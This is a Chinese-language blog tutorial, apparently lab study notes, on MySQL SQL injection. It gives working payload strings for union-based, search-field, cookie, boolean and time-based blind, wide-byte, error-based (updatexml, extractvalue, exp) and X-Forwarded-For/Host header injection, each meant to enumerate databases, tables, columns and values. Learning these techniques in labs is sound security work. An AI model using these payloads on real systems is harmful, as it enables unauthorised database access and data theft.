SQL注入(三)–MySQL注入

数据库简介

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

MySQL的最高权限是root。

MySQL“一库三表”

一库:information_schema(MySQL自带数据库)

三表:

0x01 SCHEMATA:存储了MySQL下每一个数据库的相关信息

  • schema_name(字段):数据库名

0x02 TABLES: 存储了MySQL下每一个表的相关信息

  • TABLE_NAME(字段):数据表名
  • TABLE_SCHEMATA(字段):该数据表属于哪一个数据库

0x03 COLUMNS:存储了MySQL下每一个数据表中的所有列名

  • COLUMN_NAME(字段):字段名称
  • TABLE_NAME(字段):该字段属于哪一个数据表
  • TABLE_SCHEMA(字段):当前字段所属数据表所在的数据库名称

几种注入方式

联合查询注入

1.判断是否存在注入点:提交单引号或运用逻辑运算

2.确定列名数目:order by 列名

3.找回显位

4.依次爆库,爆表,爆字段,爆值

例如:

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#//爆表
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx'# //爆字段
?id=-1'union select 1,2,group_concat(字段名) from 表名 # //爆值

搜索注入

1.判断是否存在注入点

  • 搜索keywords’,如果出错的话,有90%的可能性存在漏洞;
  • 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
  • 搜索keywords% ‘and 1=1 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
  • 搜索keywords% ‘and 1=2 and ‘%’=’(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

下面这几种语句都可以:

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

2.判断字段数: %' order by 1 and '%'=''

3.判断字段显示位置: %' union select 1,2,3,4,5 and '%'='

4.爆库名: %' union select 1,2,(select database()),4,5 and '%'='

5.爆表名: %' union select 1,2,(select group_concat(table_name) from information_schema.tables table_schema=数据库名),4,5 and '%'='

6.爆字段: %' union select 1,2,(select group_concat(column_name) from information_schema.columns table_schema=数据库名 and table_name=表名),4,5 and '%'='

7.爆值: %' union select 1,2,(select group_concat(id,0x3a,字段名1,0x3a,字段名2) from 数据库名.表名),4,5 and '%'='

cookie注入

这里要使用谷歌插件:cookie manager,对网站的cookie进行改动。在靶场中,找到商品价格有关的cookie,注入方式与其它的无异。

布尔/时间盲注

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。布尔盲注是根据页面正常与否进行注入,而时间盲注则是通过SQL语句查询的时间来进行注入,一般是在页面无回显,无报错的情况下使用。

1.获取数据库长度

and (select length(database()))=长度

2.逐字猜解数据库名

and (select ascii(substr(database(),位数,1)))=ascii码

3.猜解表名数量

and (select count(table_name) from information_schema.tables where table_schema=database())=数量

4.猜解某个表长度

and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度

5.逐位猜解表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii码

6.猜解列名数量

and (select count(*) from information_schema.columns where table_schema = database() and table_name = 表名)=数量

7.猜解某个列长度

and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度

8.逐位猜解列名

and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码

9.判断数据的数量

and (select count(列名) from 表名)=数量

10.猜解某条数据的长度

and (select length(列名) from admin limit n,1)=长度

11.逐位猜解数据

and (select ascii(substr(user,位数,1)) from admin limit n,1)=ascii码

时间盲注与布尔盲注相似,就是把and后面换成if(查询语句,sleep(5),0),这里不再赘述。其中如果满足if语句条件(即数据库查询语句),则睡眠5秒,否则页面无变化。

宽字节注入

宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。

具体操作是在id值后面加上%df,使浏览器字符集转换发生错误,例如:http://127.0.0.1/Less-32/?id=1%df'(‘浏览器自动进行url编码%27),其它查询语句与上面几种相同。

报错注入

报错注入是利用报错来把我们查询的信息进行外带。这里有几种常见的报错注入方式:

updatexml
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
extractvalue
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#
exp(对版本有限制)
?id=1' and exp(~(select * from (select version())a))#

这里的0x7e是十六进制的~,由于XML语言中没有波浪号,所以数据库报错会爆出数据。

XFF和host头注入

XFF字段,即http请求头部的X-Forwarded-For字段,用于识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求。而host字段,则用于标示目的服务器的主机地址。

利用burpsuite抓包,在http请求头部的X-Forwarded-For字段或host字段进行注入。SQL语句与上述方法相同,常与报错注入、联合查询注入等方法相配合。

总结

这里还没有涉及到WAF绕过(主要是对关键字、关键函数的过滤),随着学习的深入,以后我会涉及到的,并补充相关笔记。

感谢大家的耐心阅读,如有疑问,敬请在评论区留言!本文为明赫IT大本营的原创文章,经实践,测试,整理后发布。如需转载请联系作者获得授权,并注明转载地址。本文链接:https://www.terry906.top/sql%e6%b3%a8%e5%85%a5%ef%bc%88%e4%b8%89%ef%bc%89-mysql%e6%b3%a8%e5%85%a5/

类别:

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

没有回应

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注